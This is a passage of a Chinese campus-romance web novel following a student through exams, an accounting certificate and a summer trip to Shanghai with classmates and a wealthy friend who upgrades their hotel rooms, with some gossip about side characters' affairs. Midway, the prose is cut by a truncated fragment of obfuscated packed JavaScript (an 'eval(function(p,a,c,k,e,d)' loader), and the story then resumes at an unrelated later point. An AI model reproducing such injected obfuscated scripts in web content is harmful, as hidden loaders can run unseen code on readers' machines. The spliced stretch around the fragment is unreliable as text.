毕竟俞惟叙谈白富美,不是很正常的事么,就像拼图一样,严丝合缝地接上了。 挺好的,这就是有钱人的轨迹,挣钱、享受、和门当户对的家族结合、变得更有钱、继承家业后出现在各种财经新闻里、名字排在富豪榜上…… 而她这种穷穷的普通外地人,就是一辈子打工的命。 在北京有个好工作、能靠自己或者和对象一起拼搏买套不那么老破小的学区房、给孩子良好的教育最好能送娃出国留学,她这辈子就算值当了。 想到这里,她和舍友们一样,露出听八卦的好奇的表情,笑着跟舍友们聊富豪们挥金如土的生活。 十一月初,因为成绩不错,祝岁祯被学校报名大学生数学竞赛,北京赛区预赛第一轮开始。 她数学一般,大学的成绩也都是自己花了很多功夫考出来的,实在是没什么信心能在竞赛里获奖。 更何况北京赛区全是大神,高手过招,堪称全国最卷赛区,几千上万人报初赛,最后能进决赛的也就百十个人吧。 她根本不觉得自己能走到最后,所以也没花多少时间在竞赛训练上。 果然,没进决赛。 不过倒是拿了个北京赛区的二等奖,虽然没什么用,但也算是她重在参与的证明吧,留个纪念。 十二月中旬,期末月开始。 梦梦竟然一反常态地开始学习了,她说想考首尔大学的研究生,在韩国更方便追星。 这个理由也是蛮好笑的,但不管怎么说吧,人家首尔大学作为韩国顶级学府SKY三巨头之一,QS排名怎么着也比国内大部分985强,入股不亏。 于是她的vlog更新也少了,变成在自习室或者图书馆直播带粉丝学习,每次开播也有几百号人进来看,总体还算不错。 因为常去自习,她又认识了新的学习搭子,是个本院的学妹。这学妹性格也挺活泼的,和梦梦熟了之后就来串门了。 有天晚上,俩人聊大一上学期的期末考试,梦梦说自己那时候总是到处飞着追星做账号,差点儿挂科。 还是祝岁祯把每科都总结了考点给舍友们,才救她于挂科边缘,甚至还把她的成绩均分拉到八十多。 学妹一听,像是看见了光芒万丈的神,乞求祝岁祯赐她考点笔记。 祝岁祯倒也无所谓,反正已经不用了,而且自己当时也是花了些功夫整理的,如果能帮到学妹,那她的努力就更有意义了。 她整理好发给学妹,不到两天,这个文件包就被金院大一学生们争相转发保存。 学弟学妹们感激不尽地夸祝岁祯学姐人美心善,无私分享考出年级第三成绩的资料。 祝岁祯从梦梦那里得知,自己在大一小朋友那里已然成神,她只是无奈地笑了笑。 甚至何希簏都发来消息:【祯姐,有这种好东西怎么不早给我】 祝岁祯:【你也没跟我要啊】 何希簏:【你天天那么忙,每次都说要学习,没空跟我聊天出去玩,我哪儿敢找你要】 祝岁祯:【怪我咯】 何希簏:【咱俩可是邻居!我可是你高中and大学的亲学弟!我不能和别人的待遇一样!还有别的资料吗?】 祝岁祯实在没什么了,只好把大一下学期的资料发给他。 何希簏立刻拿着,跟同学们臭显摆去了。 这时,小羊又带来了关于俞惟叙的动态。 从大黄那里得到的消息是,他今年冬天不回来了,他妈妈要带着他去葡萄牙实地考察几家棉纺工厂,想给自家高端家具找纺织品的供货渠道。 这些工厂生产世界顶级埃及长绒棉面料,供给欧洲王室或者高端家纺品牌,有的顶奢产品线,仅一对棉质枕套能卖上万元。 祝岁祯看了眼自己床上那五百块的四件套,买的时候觉得自己还挺有品味。 期末考试一门接着一门,祝岁祯给出去的资料的含金量越来越高,学弟学妹们考完都暗自窃喜。学霸学姐的美名甚至远扬到别的学院,毕竟大一很多通识课,各学院有很多重合的课程。 祝岁祯知道自己命中率这么高之后,吐槽老师们也太懒省事了,怎么能两年出的题都差不多呢? 期末考试结束,她和何希簏一起订票回家。 俩人拉着行李箱往校外走的时候,这小弟非想要跟她合影一张,以校门为背景。说这是开学后第一次放假,很有纪念意义,刚开学的时候就想和她拍,但当时卧床来着。 祝岁祯心情好,就答应了。毕竟放假前出了六门成绩,都还不错,她觉得自己能过个好年了。 何希簏随机抓了个路人帮忙,他俩一人拉着个行李箱,站在学校门口,比耶合影。 坐上车,何希簏发朋友圈。 【纵有京城万般好,不如家乡爸妈亲。和邻居姐姐一起放假回家咯!】 马上,各路评论来了。 何希簏的朋友惊讶地问: 【邻居?真假?】 【你俩到底谈没谈】 【真的不是回家见家长吗?】 【学姐为爱痴狂,终于把你追到手了?】 【我听说学姐有对象啊?她舍友说的】 何希簏把各种各样的评论拿给祝岁祯看,祝岁祯翻完,叹了口气。 “这都一学期了,他们怎么还没更新版本?” 何希簏无奈地笑笑:“主要是他们都背地里吃瓜,也不当面聊,我都找不到机会澄清,以为他们自己能看出来呢。” 祝岁祯明白,只是吐槽罢了。 她掏出买的砂糖橘放在小桌板上: “关系好的肯定知道实际情况,不常接触的人消息就滞后。主要是大家都忙,只是爱八卦,后续怎么样一般就不管了。” 祝岁祯以为他会在评论区澄清,所以就没管,一边剥砂糖橘吃,一边看下载好的电影。 何希簏瞧着评论区乱成一锅粥,故意不说话。 -.- 春节过后,何希簏有天晚上突然找她,说买了烟花想和她一起去广场放,祝岁祯穿好衣服、围了围巾,跟着他出小区。 “其实想在小区里放的,但据说不行,怕出事。我看了下,附近那个大超市门口的空地可以,咱们去那里。” 何希簏拿着烟花筒朝向天空,祝岁祯在远处给他录视频,火药从筒子里“嘭”一声飞出来,带着火星子冲到天空,然后“啪”一下炸开,像夏天的树冠。 旁边小孩子“噢噢噢”蹦跶着拍手叫喊,快乐感染了附近的路人们。 祝岁祯也放了一个,第一颗烟花飞出去的时候挺吓人的,后来习惯了就好了,周围人都仰头看着烟花,让她还蛮有成就感。 欢乐的时光短暂,废弃的烟花筒子进了街边垃圾桶,何希簏手插兜里送她回家。 “这两天不是走亲戚么,好多亲戚饭桌上问我在学校找没找女朋友,哎哟真挺烦的。你呢,你家里有人催你吗?” 祝岁祯半张脸埋在厚实的大围巾里,说话闷闷的:“没有,他们知道我之前男朋友去世,没人跟我提这个。我自己也不想找,多一个人在生活里,挺麻烦的。” 何希簏沉默了半晌,勉强笑道:“说得也是呢。” 两人换了别的话题,有一搭没一搭地聊着,回家了。 -.- 大二下学期,眼看着大学生活就要过一半了,周围同学们也都陆续定了毕业后的目标,是保研考研、留学出国、还是考公就业。 祝岁祯和舍友们聊天,小羊说家里让她考公,梦梦要去首尔大,远文说想保研、保不了就考,她一定要成为家族里第一个名牌大学的研究生。 M大保研率在30%左右,祝岁祯如果维持这个成绩,保研去更好的学校是没问题的,只是看保哪里了。 虽然她因为很少参加别的活动,综测排名差一些——预计大三可能还会更差。但因为绩点能打,总体还算可以。 不过说实话,她对读研没太大兴趣。 可能是复读那年对她造成了伤害,大学又要为了奖学金天天学习,她本人其实对于上学这件事有点烦了,甚至想毕业直接找工作。 她对做学术写论文一点想法都没有,也不太喜欢去学校当老师。读研两三年又要花家里钱,虽然有奖学金而且导师会给些补助,但她想想就焦虑。 爸妈知道她居然有这个想法,愁得不得了,苦口婆心劝她不要浪费这么好的名次,不要担心花钱。 有些好单位、好公司,是会卡学历的,硕士是块敲门砖,有了更好找心仪的工作。 他们知道祝岁祯有时候脾气很倔,自己认定的事谁劝都没用,于是趁她还没下定决心,早点给她洗脑。 祝岁祯知道他们说的有理,但还是觉得如果本科就有好去处,还是直接就业比较好。她决定做两手打算,对求职的准备也得列在计划里,开始关注学姐学长们的求职过程和经验,自己好提前安排。 当然,不管是保研还是找工作,成绩都很重要,据说好一些的公司招聘时会看绩点来筛人,所以祝岁祯在学习上还不能懈怠。 好在她期末的时候已经抽空报名了初级会计考试,学院里已经有同学大一就考下了,她这还算有点晚的,以前不知道有这么个证书。 开学后,祝岁祯的日子在学习和备考中度过,舍友们有时路过她身后,看一眼她的课本或者电脑,都得摇摇头感叹: 幸亏当时没选金工,看着就难。 可作为毕业想直接工作的祝岁祯,却觉得金工是个还不错的选择,这个专业让她学习的科目更多了,也延伸拓宽了她的知识面。 四月初,祝岁祯刚刷完初级会计的教材,打开手机准备买往年真题,看到到朋友圈出现了俞惟叙的动态,定位在日本一个什么地方。 【维斯塔潘牛逼啊啊啊】 几张图片。第一张,俞惟叙和一个身着赛车服的外国男人合影,但他把自己的脸给码住了。 第二张是一个工作室一样的房间,几位机械工程师在调试一辆赛车。 第三张是从高高的看台上拍摄的赛车比赛场地,对面看台上密密麻麻坐着两层观众。 第四张,一个身着白色赛车服的男人双臂高振。 稀奇事。她头一次见俞惟叙这么激动。 祝岁祯搜索了一下“维斯塔潘”四个字,铺天盖地的“四连冠”通稿出现在屏幕上。 她通过一个个关键词反向搜索了半天,才明白俞惟叙发的是什么。 这是F1赛车的比赛,每个赛季会在许多国家举办大奖赛,俞惟叙去的这个地方叫铃鹿赛道,位于日本。 维斯塔潘是一个世界级的明星选手,拿到过很多冠军,今天在日本站再次夺冠。 祝岁祯返回朋友圈,下面已经有评论了。 【卧槽,兄弟你居然能去P房!有钱真可以为所欲为啊……】 【艾玛!小潘子!我也喜欢他!】 【谁懂啊,我刚看了直播,结果朋友圈居然有人在现场,还跟冠军合影了】 【你小子什么时候回国!为什么出去浪了不带我!】 祝岁祯心想:人家带女朋友去看的吧,你们跟着瞎凑什么热闹。 随手点了个赞,切去购物软件买了套历年真题,然后开始制定刷题计划。 晚上泡脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从那之后,两人都默认了这种“假情侣”身份,但实际上依旧各过各的。熟悉的人早就看出端倪了,不过即便看出来又怎样,没人会去追祝岁祯了,因为知道她肯定会拉何希簏出来挡。 假期过后,祝岁祯看着何希簏那条旅行动态,白色的外套和蓝色的大海天空相得益彰,海盐汽水一样的气息扑面而来。他笑得像沙滩上刚被海水冲洗过的贝壳,温润而洁白。 唉,这好像才是青春的样子。祝岁祯放下手机趴在桌子上,忧伤地想着,自己什么时候才能自由自在地出去玩。 -.- 期末考试月的最后一天凌晨,祝岁祯坐在床上看着屏幕,努力绷住脸不让自己笑出声。 过了!初级会计。一门94、一门92! 本来她刷了三套卷子之后就不担心了,感觉题型就那些,不说考多高的分数吧,60分通过没什么问题。 但是考试那天她没算好时间,考场超级远,她临时打车过去的,差点儿进不了。 当时给她愁得呀,她为了这场考试,把卷子上和app上的题刷了又刷,因为一年就这一次考试,她得保证自己肯定能过。 还指望着年底拿这个证书,去投会计师事务所的实习呢。 好在考前打的基础够扎实,有惊无险。她放下手机,开心地睡不着。但是白天还有最后一门课程的考试,她不得不去找了个助眠小视频,逼着自己赶快睡觉。 上午考完期末最后一科,祝岁祯待在学校吃了午饭,正犯困要午休,1点的时候,俞惟叙发了个动态,定位首都机场T3航站楼。 【《我重生了,这次,我要拿回属于我的一切》】 【第一章:回国】 配图是飞机上拍的晨昏线,橘色的日光如同果酱,薄薄地抹在万里云层尽头,上方是逐渐变深、变暗的靛蓝色天空。 祝岁祯看到文案的瞬间,笑得都不困了。 深井冰啊! 这是跟女朋友学的吗?哈哈,女朋友一定是个可爱好玩的女生。 果然,不一会儿,同学们的评论就来了,惊讶于他居然也会玩这种梗。 午休醒来之后,整个宿舍都在收拾行李。不是为了回家,而是为暑期社会实践。 M大要求本科生三年完成两次暑期实践,舍友们都想前两年赶紧搞定,大三暑假指不定都有什么事呢,到时候想找到合适的队伍就难了。 这次以小羊和大黄为桥梁,直接两宿舍组队,七个人准备去上海玩。 她们以追溯光荣历史、培养爱国情怀、纪念反法西斯战争抗战胜利、缅怀先烈弘扬革命理想为主题,去探访红色实践教育基地。 第二天早上,七个人在楼下集合,在学院和学校大门分别合了个影,作为实践报告的影像资料留存。 到了南站,鸡哥举着手机给大家伙儿来了张合影,定位后发朋友圈: 【上学?不!上海!】 “我发朋友圈了!来来来,都给我点赞啊~” 六个人在检票口,随着慢吞吞的检票队伍一边前进,一边给他点赞。 梦梦打了个哈欠:“困死我了,昨晚终于把期末月的学习vlog剪完上传,一会儿到车上我得睡觉。” 此时在家里睡得正香的俞惟叙,被偷溜进来上床的猫咪,用旋风无影爪拍醒。 毕竟好久没见欠儿姐了,他也没发脾气跟猫对打,只是撸了撸猫头。 俞惟叙起床洗漱,把睡得歪七扭八的头发按下去,回屋就看到朋友圈鸡哥的动态。 他瞬间清醒,立刻发消息。 鱼仔:【你们居然背着我组团旅游?】 舍友们都在互相帮忙往行李架上放包,刚坐在座位上的鸡哥看见群里的消息,眼睛都瞪大了。 鸡哥:【我去!稀客啊!】 鸡哥:【暑期社会实践,去上海,咱们俩宿舍组队,哦不对,是我们俩宿舍,没有你】 鱼仔:【为什么不叫我】 鸡哥:【我们五月份就交材料了,谁知道你啥时候回来啊】 鱼仔:【我也要去!】 鸡哥:【行啊,来玩儿啊,不过挺热的哈,我们要去几个红色景点,你自己找别的凉快地方待着吧】 鱼仔:【为什么我不能去?要预约吗?】 鸡哥:【大部分不用,但是你应该不想去吧?这可是红色之旅,跟您资本家的身份不搭】 鱼仔:【滚蛋。我也去。你们什么时候到?哪个站?】 鸡哥把行程截图给他,其实不太相信他会来。 过了一会儿,俞惟叙发来消息: 【我一会儿订机票,去上海找你们】 鸡哥没想到他说真的,噌的一下站起来:“卧槽,鱼仔也要去上海,跟咱们一起!” 所有人都惊呆了。 大黄:【你要来?】 俞惟叙没回复。 鸡哥:“估计在订票?收拾东西?” 列车缓缓开动,群里俞惟叙终于说话了: 【我找到一个合适的航班,也去虹桥,比你们还能早二十分钟到。到时候咱们火车站集合】 此言一出,队友们纷纷感叹,嘴上和手上都没闲着,在群里也发言。 箫剑:【我C】 大黄:【牛逼了兄弟】 鸡哥:【来来来】 又过了一会儿,俞惟叙:【票订好了,我先不跟你们聊,一会儿得开车去机场,过了安检再说】 大黄:“太六了这兄弟……” 叽叽喳喳聊一会儿,大家陆续困了开睡。祝岁祯昨晚睡得早,就打开平板看美剧。 正看到精彩处,她手机震了一下。 俞惟叙:【我舍友呢?怎么没人回我消息】 她环顾四周,三个男生睡得东倒西歪,大概在梦里回复了吧。 祝岁祯:【都睡觉呢,你舍友们昨晚通宵打游戏】 俞惟叙:【哦,我在候机室了。他们醒了跟他们说,我会去等你们,记得到了联系我】 祝岁祯:【没问题】 列车终于到站的时候,祝岁祯跟着队友们,随人潮向出站口走去。 大黄带着大家七拐八拐,祝岁祯走得迷迷糊糊,突然,几个男生大喊:“鱼仔!”“鱼仔仔!”“小鱼干!” 只见三个男生拉着行李箱就往前冲,不远处,个子高高的俞惟叙带了个墨镜,提了个皮质旅行包,跟男模似的单手插兜,在一众朴素的乘客里如同鹤立鸡群。 看到同学们,俞惟叙薄唇勾出一抹笑,在乱糟糟的车站简直像人形广告牌一样。他把手从兜里拿出来,对大家轻轻挥了挥,仿佛明星对狂热粉丝…… 祝岁祯和女生们紧随其后,也朝着那个耀眼的存在快步走去。 俞惟叙忽视周围旅客们惊艳的目光,颇为淡定,对跑到面前的舍友们说:“好好好,爸爸也想你们……” 然后三舍友笑骂着狂扁了鱼仔一顿。 31. 第三十一章 暑假来上海玩的人可真多啊…… 十号线的始发站,八个人放弃了一趟车,就为了下一趟能抢到空位置。 本来男生和女生各站在车门两边,商量好一会儿谁坐哪里。可真等车来了,大家就顾不得战略了,毕竟身后也有好多乘客抢座位,能有地方坐就不错了。 祝岁祯坐下后本以为旁边会是舍友,但扭头一看,竟然是俞惟叙。 再环顾四周,发现队友们零零散散地分布在车门旁的四个座椅区域上,没几个挨着的。 俞惟叙指了指她的小登机箱:“你怎么拿这么小的箱子?看看你舍友,不是24寸就是28寸。” 祝岁祯说:“我就带一套换洗的,凑合一下,等回家了什么都有。” 她又看向舍友们,尤其是小羊和梦梦:“她们出个门恨不得把宿舍都搬走,又是护肤品化妆品、又是鞋子包包的,当然占地方了。” 俞惟叙指了指自己的包:“英雄所见略同,我也只带了一套,缺什么在这里买。” 祝岁祯问:“你们什么时候放的假呀?” “6月21号,我在那边把家里的东西都卖了送了,折腾好几天才回来。” 祝岁祯点点头:“那你刚回国,也不在家歇着啊?就这么跑来上海。” 俞惟叙把墨镜折起来,挂在衣服前襟的口袋上:“对我来说,不学习就算歇着了。出来跑跑也挺好的,而且我家在上海有子公司,回头有空了去看一眼。” “哦,领导来视察工作。” 俞惟叙笑了:“突击检查,吓死他们。” 祝岁祯虽然在观鱼没实习多久,但也很自然地站在打工人的角度共情:“不要啊老板,你起码稍微给点缓冲的时间,牛马真的不经吓。” 俞惟叙:“行吧,听你的。” 他又想起什么:“哦对了,人力给你实习证明了吗?” 祝岁祯都快忘了那件事,她回忆道:“呃……给了,寄到学校来的,而且还超级贴心,扫描了一份发我邮箱。” 俞惟叙微微颔首:“应该的。” 车厢里面闹哄哄,列车的声音也蛮大,两人说话有些费力了,所以也就不再聊天,各自低着头看手机。 南京东路站下车。 今天预报有雨,出了站又闷又热,跟个蒸笼似的。大家拉着行李箱准备往酒店走,大黄问鱼仔:“你住哪里?跟我们住一起吗?” 俞惟叙戴上墨镜:“对,方便些。这酒店应该还有空房吧?” 小羊也掏出她的香奈儿墨镜戴上:“不知道啊,我们提前一个月订的,一会儿去前台问问吧。” 梦梦说:“肯定有,以我的经验,暑假来上海玩的人大多数都比较注重性价比,咱们订的酒店算高档的,应该会有空房。” 俞惟叙手机响了两下,他低头看消息,随即露出微笑。 “妥了朋友们,我在机场的时候跟导员打电话,问他能不能把我加进你们社会实践队伍里。导员回复我了,说咱们不是重点队伍,可以把我再加上去。” 他抬起头,微笑地说:“从现在开始,我也是队员了。” 大家直呼厉害,然后说幸亏咱们队太菜了没评上重点,不然俞惟叙可能进不来了。 而且他今年要是没参加的话,毕业前就不能完成两次暑期实践了,虽然不知道交换生有没有什么特殊政策。 大黄看着地图,带队往酒店走。俞惟叙路上告诉他们,因为上次暑期实践祝岁祯和远文的队伍去了他家公司,观鱼也在官网上宣传了这件事。 今年学院联系了他家公司,想以后跟观鱼合作,把观鱼加入M大金院的教学实践基地名单。 校企合作了,学院这边肯定要给俞惟叙一些面子,像临时把他加进实践队伍这种不痛不痒、不妨碍学生间公平竞争的小事情,学院当然不会为难他。 一行人终于到了酒店大堂。祝岁祯觉得简直像进了宫殿城堡,装潢富丽大气,满眼都是金钱堆砌的痕迹。 她当时和远文看到价格还蛮心痛的,但因为两人都有点想见见世面,也或许是虚荣心作祟吧,最后还是跟着队友们订了这里。 吹着冷气,大家感叹活过来了,站在前台旁边从包里掏身份证。俞惟叙先问了一下空房,前台回复他想要的那个行政至尊江景房是有的。 俞惟叙扭头问他们:“你们订的什么房型?” 小羊和梦梦住了豪华江景双床房,窗外能看到陆家嘴、东方明珠、外滩这些地标性建筑。大黄自己住半江景的豪华大床房,能从侧面看景。 祝岁祯和远文住高级城景双床房。 说是高级,实际上是这家酒店最便宜的房型了,但因为酒店位置很好、档次很高,价格仍旧不菲。 鸡哥和箫剑也住这个房型,订房A钱的时候四个人都很肉疼。 不过因为只住两晚,还算能承担。 俞惟叙听完皱着眉头:“真乱啊……你们先别急着办入住。”他把大家的身份证收集起来,拿去前台。 “行政至尊的房型还有多少?” 前台查了一下,大床房和双床房分别有两个。 他又问:“豪华江景呢?” 这个余量还可以,大床和双床都剩不少。 俞惟叙略一思忖,开始给舍友们分配房型。 “这两个人一间、这两个人住另一间,原先的房型分别升级到行政至尊双床。” 他把四个女生的身份证给前台,让她们住最好的。 “这两个人,豪华江景双床;这个人,豪华江景大床。都是升级。” 因为至尊房不够了,他只能把舍友们都安排到稍微次一点的豪华江景,没改原先的室友组合。 最后,他把自己的身份证和信用卡放下:“这个是行政至尊大床。我这个卡应该有折扣,你们查一下,这几间房都算进去。” 前台拿了身份证,快速开始登记。 他无聊地回头,身后七个人目瞪口呆。 “啥……啥意思啊……” 俞惟叙云淡风轻道:“给你们升级房型,钱我来出。这个实践的所有材料和工作都你们帮我搞定吧,谢谢。” “卧槽……不是,兄弟,得大几万吧……这多不合适……” 俞惟叙微微一笑:“没事,刷我妈的副卡,便宜一点,看我是不是还挺会过日子的。” “刚回来就爆金币!太败家了你这富二代啊……” 俞惟叙潇洒地一挥手:“小事一桩,你们带我一起玩就行。” 七个人开开心心地道谢,就差叫俞惟叙金主爸爸了。 -.- “哇~~” 祝岁祯和远文刷开房门,还没进去呢就先喊出来了。 俞惟叙在和她们相隔七八道门的位置远远看了两个女生一眼,笑了笑,刷卡进自己房间。 两个女生迫不及待地把行李箱拖进来扔在玄关,门还没关就冲进客厅,顾不上看室内精致的陈设,她们同时跑到巨大落地玻璃窗前。 “天呐~~好漂亮~~哇啊啊啊啊……” 脚下是渺小如蚁的车辆和行人,刚刚她们还是其中一员,现在就飞升到了这个高度! 不远处是一排万国建筑群,前方是一湾江水环绕着东方明珠塔和陆家嘴三件套,不敢想象夜景有多迷人。 她俩正拍照,俞惟叙在外面敲了敲门:“不儿,你俩连门都不关啊……注意安全听见没?” 祝岁祯回头,哈哈笑了一下:“就那么着吧,你别管了,等会儿我去关。” 俞惟叙无奈摇了摇头,进来,把门关上,一手提一个行李箱,从玄关拿到沙发旁边。 “还满意吗?公主们?”俞惟叙站在她俩后面,看她们拍照。 祝岁祯:“满意,太满意了!” 远文:“我想死在这儿……” 俞惟叙笑道:“什么话!” 他看了看客厅和卧房:“好像除了床的数量,跟我那间没什么区别。” 见没人理他,他自顾自地、非常职业病地低头找桌柜沙发的品牌,看酒店采购的是哪家的货。 “你们中午在高铁上吃饭了吗?” 祝岁祯拍完了客厅的景,又跑去卧房看景,路过他时丢下一句:“吃了,泡面。” 远文也看够了景色,去餐桌吧台翻酒店送的咖啡茶饮。 门铃响了,远文去开门,一个服务生推着小车说来送点心,看见屋里三个人,愣了一下。 俞惟叙跟他说:“2218的不用送了,直接放这间就行。” 两盘洗干净的水果、两盘果切、两个三层点心架被放在桌子上,点心是造型独特的巧克力、丝绒蛋糕和抹茶酥饼之类的,精致得祝岁祯都不舍得吃。 俞惟叙起身:“行,你俩玩吧,我回去了。要是出发记得叫我,我在2218。” -.- 根据行程安排,今下午因为时间问题,就不太好安排纪念馆,所以大家准备去几个附近的户外小遗址。 不过走之前,大家聚集到俞惟叙的房间里,帮他一起把要预约的场馆先约了,随后,一行人带着雨伞出门。 男生在前,女生在后,从英雄纪念塔开始,一路说说笑笑地游览。 在最后一个纪念景点合完照,一队人又饿又累,在南京路步行街搜了家排名比较高的蟹黄面店,进去干饭。 吃完饭出来,外面开始下雨,八个人打着伞,漫步在暮色沉沉的街道。祝岁祯时不时从伞底向上张望,打量着这座城市的建筑。 十里洋场,华灯初上,纸醉金迷,民国遗风与欧美古典混合。或许是阴天下雨,祝岁祯觉得这里的氛围像一个穿着华贵礼服、坐在王座上的中年女王,端庄却沉寂。 回到酒店时天已经完全黑下来,祝岁祯先去简单冲了个澡,远文和家人打电话。 之后两人烧水泡茶,坐在落地窗边宽大柔软的沙发里,喝茶看景,在繁华中从容优雅。 坐了一会儿,远文说看到浴室有精油泡澡球,说没用过浴缸,想试一试。 她去了浴室,祝岁祯给爸妈发今天出去玩的照片,然后就百无聊赖地半躺在沙发上玩消消乐。正消得起劲,俞惟叙的信息突然出现在屏幕上方: 【不下雨了,出来玩吧】 祝岁祯走到窗前,但在房间里面看不出下没下。 祝岁祯:【梦梦在泡澡,得挺久呢】 俞惟叙:【她洗她的,你来就行。只在外滩逛逛,不去远处】 祝岁祯:【OK】 她带上帆布包,跟远文说了一声后拿着房卡出门。到酒店门口,见俞惟叙正低着头看手机。 “咦?就你一个人?”祝岁祯走上前去。 他点了点头:“走吧,逛逛。我喊他们,都说累,没人出来。” “哦哦,那走吧。” 通往外滩的路上,不少外国人在街边门口聊天。地上又有些积水,两人为了不踩坑,就没怎么说话。快步走到中山东一路,两人才慢下步伐。 上楼梯到观景的宽阔步道,俩人一边听着江水声,一边欣赏璀璨的夜景。 祝岁祯感慨:“嚯,今天在上海看见的外国人,比我在海淀一年看到的都多,也就语言大学附近能有这密度了。” 俞惟叙环顾四周:“这两天是我看见外国人数量,最少的日子。” 祝岁祯赞同:“也是,听说你这一年到处飞。” 俞惟叙和她走到观景平台的栏杆前:“我?到处飞?什么时候?” 她揶揄道:“切,别装了,话说少爷怎么不去美国找您那富家千金女朋友?来这里跟着我们受罪?” 俞惟叙扶额:“我知道你说的什么了……纯属谣言。” “啊?谣言?怎会如此?” “呃,其实也不完全算谣言,大部分都是白声清编的。” 祝岁祯觉得“白声清”这个名字好耳熟,但一时间想不起是谁。 俞惟叙见她似乎不认识白声清,心想不应该啊,白声清之前说跟她接触过的。 而且白声清在伦敦交换的时候常来牛津,俞惟叙后来跟她吃过两次饭。一次是和她的“意大利男友”一起,也就是他同学;一次是和那个香港学姐一起,他不好拒绝。 白声清还在吃饭时又聊起过祝岁祯,说祝岁祯在学校名声可差了,什么抢男人之类的…… 俞惟叙就算没看过周梦津的天坛vlog,他也不会相信的。 祝岁祯这个人啊,生怕给他添一点点麻烦,谨慎敏感到他都不知道该怎么对她了……说她抢男人?呵。 他更愿意相信白声清是秦始皇。 不过白声清确实不是秦始皇,甚至还有一点点惨。她似乎以为自己是那个意大利人的女朋友,因为那男生对她太热情了,甜言蜜语像不要钱似的,变着花样哄她。 但那个意男只是把她当送上门的“炮.友”,从来没真心付出过什么,并且同时和三、四个女生都保持这种关系。 白声清一点儿没察觉,她都没想过为什么“男朋友”这么“爱”她,却总是让她来牛津,而不是去伦敦见她。 直到她买了礼物突然来找他,撞上他正和一个波兰女生在卧室地板上酣畅淋漓地鏖战,两人叫得不知天地为何物…… 俞惟叙当时正和课题组的同学们开会,回来路上收到她一连串愤怒的质问,骂他是个道貌岸然的伪君子,明知道这些事,竟然不告诉她,和他那个意大利同学都是一路货色…… 好冤啊,俞惟叙觉得自己应该叫“牛津窦娥”!天知道,他对别人下课后干什么是一点儿兴趣都没有。 但无论如何,这段孽缘是他最开始促成的,俞惟叙不得不去了解一下意大利同学的情史。 他只是浅浅打听了一点,就不想听了。只能和白声清道歉,说确实不知道自己同学玩这么花…… 白声清没再骂他,事情过去之后她也想通了,自己没损失什么,两人就算露水情缘吧,虽然那个意男的尺寸她真的很满意。但上次闹得实在太难看,不太好再见面了。 “白声清是谁?” 一句疑问打断俞惟叙的思绪,他回过神,想着既然祝岁祯对白声清没印象,说明她俩肯定不熟,不必跟她提这个人,他没有背后议论人的习惯。 虽然他真的挺讨厌白声清的。 “一个学姐,去年在伦敦交换,跟她见过几次。她听了一点聊天内容之后就胡编乱造跟咱学校的人说,然后,你就知道了。” 祝岁祯好奇地问他:“你刚才说不完全是谣言,那就是,有真实的部分喽?讲讲呗,怎么回事?” 对岸东方明珠和几十座建筑都亮着五彩斑斓的灯光,那些光微弱地照在对岸俞惟叙的身上,祝岁祯觉得他像是活在她迷离的梦境里。 他略一思索:“怎么说呢……我妈有个相中的女孩,想给我介绍,但是我跟人家八字没一撇呢。白声清问我有没有女朋友,我就用这个女生来应付她,你懂的,省得总有人打扰我。” 祝岁祯用力点头,她懂,她可太懂了,没人比她更懂。 “哎?你妈妈的眼光应该不会差。为什么你说八字没一撇呢?那女孩儿不至于连你都看不上吧?” 俞惟叙摸了下栏杆上的雨水,又甩甩手: “她在美国读书,比我大一届。她家里想让她早点回来学学公司里的事,但人姑娘不乐意,要接着读研。” 祝岁祯点点头:“哦,学霸,有钱的学霸!我听说那是白富美,有私人飞机……” “学霸算不上,不过挺聪明的,天天到处飞着玩好像成绩竟然还不错。她要读研其实是为了能在美国多玩几年,回来爸妈管教着不是难受么。挣钱哪儿那么容易,花钱多快乐。” “哦,所以你俩还得网恋几年……” “什么网恋!是网聊!正儿八经的聊天,别的没了。” 祝岁祯疑惑了:“只有网聊?你俩难道没见过面?” 见过倒是见过,最开始两家在展会上见过,但他那时对林期尔没印象,后来加了好友就经常会刷到她朋友圈,也算见过了吧…… “见过啊,吃过几次饭,嗯。”俞惟叙勉强让自己的语气听起来很自然。 他不想让祝岁祯觉得,他和“未来对象”连饭都没吃过。祝岁祯都有男朋友了,他还光棍一个,多少有点丢脸。 “别说我了,话说你那‘床单王子’呢?我在国外可是吃到瓜了。” 祝岁祯反应了一下,“床单王子”这个说法,她也是许久没听过了…… 她无语道:“过期瓜就别吃了,小心闹肚子。” 俞惟叙来了兴趣,侧身道:“哟?怎么着?还有新发展?分了?” 她正准备讲前因后果,但看见他的表情后突然话题一转:“啧,分不分的倒是小事,你这么开心干什么?” 俞惟叙笑容扩大:“啊?我开心吗?没有啊!我天生笑脸,为人和善。” 祝岁祯一脸“我信你个鬼”的表情。 她看着江面晃动的散碎光影,简单给他解释: “何希簏是我邻居家弟弟,给他送饭是因为他脚崴了,军训时吃不上饭,从头到尾都没谈过。人现在有女朋友了,外国语学院的,正甜蜜着呢,别瞎说影响人家关系。” 何希簏刚被外国语学院一个据说很漂亮的学妹追到手,在朋友圈发了两人十指相扣的图片,官宣有女朋友了。 那时祝岁祯正忙得焦头烂额,简单给他点赞、评论个“恭喜”二字,倒头就睡过去了。 她第二天才看到,何希簏大半夜地撤回了个什么私信。 实际上她不知道的是,何希簏有些后悔谈这个恋爱了。 他女朋友和他一个社团,清明节的时候一起去海边玩,当时三个女生,俩人住一间,他女朋友单独一间。 就在要回校的前一晚,他们在海边喝酒,何希簏上完厕所出来被女生拦住,女孩借着醉意亲了他。 不过后来也有他主动。酒精上脑。 回到海边时没人发现他俩的异常,晚上在酒店里,女孩给他发消息让他来她房间,她等着他。 两人的第一次就这么发生了。 事后女生说很喜欢他,但如果他不想谈也没关系,她知道何希簏喜欢祝岁祯。何希簏也确实不想跟她谈,两人回学校后只是手机偶尔聊聊天。 但祝岁祯实在太冷淡了,他又确实想念在海边那晚的滋味,女孩丰盈柔软手感太妙。于是,他主动联系女生,两人在校外又开了次房。 后来不知道是女生说漏了嘴、还是被人看到了,总之有人知道他俩睡了。何希簏不好意思当渣男,只能立刻官宣恋情。 见到祝岁祯点赞、祝福,何希簏心碎一地,可又能怎么样呢?都已经这么多人知道了,祝岁祯暂时也不可能跟他好。 